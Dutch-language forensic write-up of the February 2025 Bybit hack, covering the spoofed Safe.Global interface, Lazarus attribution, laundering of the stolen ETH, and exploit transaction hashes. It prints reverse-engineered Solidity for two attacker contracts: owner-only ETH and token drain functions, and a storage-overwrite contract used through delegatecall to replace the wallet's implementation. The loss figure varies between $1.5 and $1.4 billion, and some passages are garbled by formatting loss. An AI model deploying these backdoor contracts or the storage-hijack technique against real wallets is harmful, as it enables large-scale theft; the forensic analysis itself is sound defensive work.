Chainhunters
Bybit is een van 's werelds grootste crypto-exchanges, opgericht in 2018 en gevestigd in Dubai. Het platform heeft een explosieve groei doorgemaakt en wordt vooral gewaardeerd door professionele handelaren vanwege de brede selectie aan handelsparen en geavanceerde handelstools.
Op 21 februari 2025 vond er een grootschalige hack plaats waarbij ongeveer $1,5 miljard aan Ethereum (ETH) en gerelateerde tokens werd gestolen van Bybit. De aanval werd voor het eerst gesignaleerd door on-chain analist ZachXBT, waarna Bybit-CEO Ben Zhou de inbraak bevestigde.
De hackers voerden een geavanceerde UI-spoofingaanval uit op de multisignature cold wallet van Bybit. Hierbij werd het goedkeuringsscherm voor transacties zodanig gemanipuleerd dat ondertekenaars dachten legitieme transacties te autoriseren, terwijl ze in werkelijkheid de hackers volledige controle over de smart contract-logica gaven.
Recente onderzoeken hebben aangetoond dat de Lazarus-groep, een beruchte hackersgroep uit Noord-Korea, verantwoordelijk is voor deze aanval. Blockchain-analisten, waaronder Elliptic en Arkham Intelligence, hebben sterke aanwijzingen gevonden die wijzen op betrokkenheid van deze groep. De gestolen fondsen vertonen patronen die overeenkomen met eerdere aanvallen uitgevoerd door de Lazarus-groep.
De Lazarus-groep heeft een geschiedenis van grootschalige cyberaanvallen, waaronder de diefstal van $600 miljoen van het Ronin-netwerk in 2022 en $100 miljoen van het Harmony-protocol in hetzelfde jaar. Deze recente aanval op Bybit, waarbij ongeveer $1,4 miljard werd gestolen, markeert een van de grootste cryptocurrency-diefstallen tot nu toe.
Kort na de bekendmaking van de hack daalde de prijs van Ethereum met ongeveer 4%. Dit wordt voornamelijk toegeschreven aan de onzekerheid en angst die de aanval veroorzaakte bij investeerders.
Dit kwam op een slecht moment, aangezien ETH net aan het herstellen was van een eerdere dip. De hack benadrukt de kwetsbaarheid van crypto-exchanges en de noodzaak van verbeterde beveiligingsmaatregelen om gebruikers te beschermen tegen dergelijke aanvallen.
Onderzoek door Elliptic biedt inzicht in de route die de gestolen fondsen hebben afgelegd. De Lazarus-groep heeft een kenmerkend patroon bij het witwassen van gestolen cryptoactiva. In de minuten na de diefstal werden honderden miljoenen dollars aan gestolen tokens, zoals stETH en cmETH, omgezet in Ether via gedecentraliseerde exchanges (DEX's) om te voorkomen dat de activa zouden worden bevroren.
Vervolgens werden de fondsen verdeeld over 50 verschillende wallets, elk met ongeveer 10.000 ETH. Deze wallets werden systematisch geleegd; vanaf 24 februari 2025 was ongeveer 14,5% van de gestolen activa verplaatst. De fondsen werden verder witgewassen via verschillende diensten, waaronder DEX's, cross-chain bridges en gecentraliseerde exchanges. Een specifieke exchange, eXch, werd geïdentificeerd als een belangrijke facilitator in dit proces, ondanks verzoeken van Bybit om deze activiteiten te blokkeren.
Link naar de interactieve kaart
In reactie op de aanval heeft Bybit verzekerd dat het platform financieel overeind blijft en dat alle klantactiva volledig worden gedekt, zelfs als de gestolen fondsen niet worden teruggevonden. Het bedrijf werkt nauw samen met wetshandhavingsinstanties en blockchain-experts om de daders op te sporen en de gestolen activa terug te halen.
Verder heeft Bybit plannen onthuld om de interne controles te verbeteren en extra audits uit te voeren om toekomstige incidenten te voorkomen. Deze gebeurtenis onderstreept de noodzaak van strengere beveiligingsprotocollen binnen de crypto-industrie en dient als waarschuwing voor andere platforms om continu hun systemen te evalueren en te versterken.
De hack werd uitgevoerd in verschillende fasen. Hieronder volgt een gedetailleerde analyse van elke fase. Gebaseerd op de onderzoeksresultaten van de computers van Bybit's signers en de gecachte malafide JavaScript-payload die in het Wayback Archive is gevonden, concluderen we met grote zekerheid dat het AWS S3- of CloudFront-account/API-sleutel van Safe.Global waarschijnlijk is gelekt of gecompromitteerd, dat in combinatie met de bekende kwetsbaarheid van Gnosis Safe, de aanvallers in staat was om de Safe contract te manipuleren en de aanvallers in staat was om de Safe contract te manipuleren en de UI te spoofen.
| Datetime | URL from Wayback Machine | SHA Checksum of content (after gunzip) | | --------------------- | ------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------- | | Feb 19, 2025 11:19:19 | https://web.archive.org/web/20250219111919id_/https://app.safe.global/_next/static/chunks/pages/app-52c9031bfa03da47.js | 8377e86fac820b31603191368e42246551883922 | | Feb 19, 2025 17:29:05 | https://web.archive.org/web/20250219172905id/https://app.safe.global/_next/static/chunks/pages/app-52c9031bfa03da47.js | da39a3ee5e6b4b0d3255bfef95601890afd80709 | | Feb 22, 2025 17:55:09 | https://web.archive.org/web/20250222175509id/https://app.safe.global/_next/static/chunks/pages/_app-52c9031bfa03da47.js | 8377e86fac820b31603191368e42246551883922 |
Deze files zijn gebruikt om de aanvallers te helpen bij het hacken van de Safe contract en de UI te spoofen.
De aanvallers deployden op 18 februari 2025 twee smart contracts:
0xbdd077f651ebe7f7b3ce16fe5f2b025be2969516
) met backdoor functies
Dit contract zag er hoogover als volgt uit. Omdat het contract niet was geverifieerd, moest het gereverserd worden. Wij hebben dit gedaan en kwamen tot het volgende:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); } contract BackDoor1 { // A stored address variable (stored in slot 0) address public storedAddress; // Hardcoded owner address. address public constant OWNER = 0xfa09c3a328792253f8dee7116848723b72a6d2e; // Fallback function: rejects any direct ether transfers. fallback() external payable { revert(); } /// @notice Updates the stored address. /// @param _to The new address to store. /// @param _value An unused parameter (decompiler artifact). function transfer(address _to, uint256 _value) external payable { require(msg.sender == OWNER, "Ownable: caller is not the owner"); // _value is unused. storedAddress = _to; } /// @notice Withdraws all ETH held by the contract to a specified address. /// @param _to The address to receive the ether. function sweepETH(address payable _to) external { require(msg.sender == OWNER, "Ownable: caller is not the owner"); uint256 balance = address(this).balance; // Using a low gas stipend as in the decompiled code. (bool success, ) = _to.call{value: balance, gas: 2300}(""); require(success, "Ether transfer failed"); } /// @notice Withdraws all ERC20 tokens of a given contract held by this contract. /// @param token The ERC20 token contract address. /// @param _to The address to receive the tokens. function sweepERC20(address token, address _to) external { require(msg.sender == OWNER, "Ownable: caller is not the owner"); uint256 tokenBalance = IERC20(token).balanceOf(address(this)); bool success = IERC20(token).transfer(_to, tokenBalance); require(success, "Token transfer failed"); } }
0x96221423681A6d52E184D440a8eFCEbB105C7242
) specifiek voor storage manipulatie.
Ook deze hebben we gereverserd. Waarbij hoogover het volgende gebeurd:
Raw bytecode:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract BackDoor2 { // A storage variable stored at slot 0. // Although declared as an address here, note that an address is stored in a uint256 slot. address public storedAddress; // Fallback function that reverts any direct ETH transfers or calls with unknown function selectors. fallback() external payable { revert(); } /// @notice A function named "transfer" that updates the stored address. /// @param _to The new address to be stored. /// @param _value An unused parameter. function transfer(address _to, uint256 _value) external payable { require(_to == _to, "Invalid address"); storedAddress = _to; } }
De kern van de hack draaide om een delegatecall
. Een delegatecall
is een speciaal type functie-aanroep in Ethereum waarbij de code van het aangeroepen contract wordt uitgevoerd in de context van het aanroepende contract. Dit betekent dat:
msg.sender
en msg.value
behouden hun originele waardenDe aanvallers maakten slim gebruik van hoe storage slots werken in het Gnosis Safe contract. Het eerste storage slot (slot 0) bevat de "masterCopy" - het implementatie contract adres. Dit is zichtbaar in de originele Gnosis Safe code:
Het aanvalscontract (0x96221423681a6d52e184d440a8efcebb105c7242
) bevatte een transfer
functie die specifiek was ontworpen om deze storage slot te manipuleren door:
operation = 1
(delegatecall) in plaats van operation = 0
(normale call)
In de context van een Gnosis Safe (wat Bybit gebruikte), is dit een onderdeel van hoe het contract verschillende soorten transacties afhandelt. De operation parameter bepaalt het type transactie dat uitgevoerd wordt:
operation = 0
: Een normale call - Dit is een standaard functie-aanroep waarbij het doelcontract wordt uitgevoerd in zijn eigen context
operation = 1
: Een delegatecall - Dit voert de code van het doelcontract uit in de context van het aanroepende contract_uint256 transfer
) van het contract te veranderenDeze functie lijkt onschuldig - het heeft zelfs dezelfde naam als een standaard ERC20 transfer functie - maar het belangrijke detail zit in de _transfer
variabele. Deze variabele wordt opgeslagen in de eerste storage slot (STORAGE[0x0]
), precies dezelfde locatie waar het Gnosis Safe contract zijn masterCopy
adres bewaart.
Door gebruik te maken van een delegatecall
(operation = 1) kon het aanvalscontract deze storage slot overschrijven, waardoor het implementatie contract werd vervangen door het malafide contract op adres 0xbdd077f651ebe7f7b3ce16fe5f2b025be2969516
.
Het malafide contract bevatte vervolgens de backdoor functies die we eerder hebben gezien:
masterCopy
adres. Door dit slot te overschrijven via een delegatecall, konden de aanvallers het implementatie contract vervangen met het malafide contract op adres 0xbdd077f651ebe7f7b3ce16fe5f2b025be2969516
Het malafide contract bevatte twee kritieke functies, zoals beschreven in de eerdere code.function sweepETH() external { // Functie om alle ETH te stelen } function sweepERC20(address token) external { // Functie om specifieke ERC20 tokens te stelen }
Exploit transactie: 0x46deef0f52e3a983b67abf4714448a41dd7ffd6d32d32da69d62081c68ad7882
Na de succesvolle implementatie van het malafide contract, voerden de aanvallers meerdere transacties uit om ETH en ERC20 tokens te stelen:
0xb61413c495fdad6114a7aa863a00b2e3c28945979a10885b12b30316ea9f072c
0x847b8403e8a4816a4de1e63db321705cdb6f998fb01ab58f653b863fda988647
0xbcf316f5835362b7f1586215173cc8b294f5499c60c029a3de6318bf25ca7b20
0xa284a1bc4c7e0379c924c73fcea1067068635507254b03ebbbd3f4e222c1fae0
0x25800d105db4f21908d646a7a3db849343737c5fba0bc5701f782bf0e75217c9
De Bybit-hack van februari 2025 toont aan dat zelfs de grootste crypto-exchanges kwetsbaar kunnen zijn. Hoewel Bybit snel reageerde om de schade voor gebruikers te minimaliseren, onderstreept deze aanval het belang van robuuste beveiligingsmaatregelen en constante waakzaamheid in de wereld van cryptocurrency. De betrokkenheid van de Noord-Koreaanse Lazarus-groep benadrukt de geavanceerde dreigingen waarmee de industrie wordt geconfronteerd en de voortdurende noodzaak voor verbeterde beveiligingsstrategieën.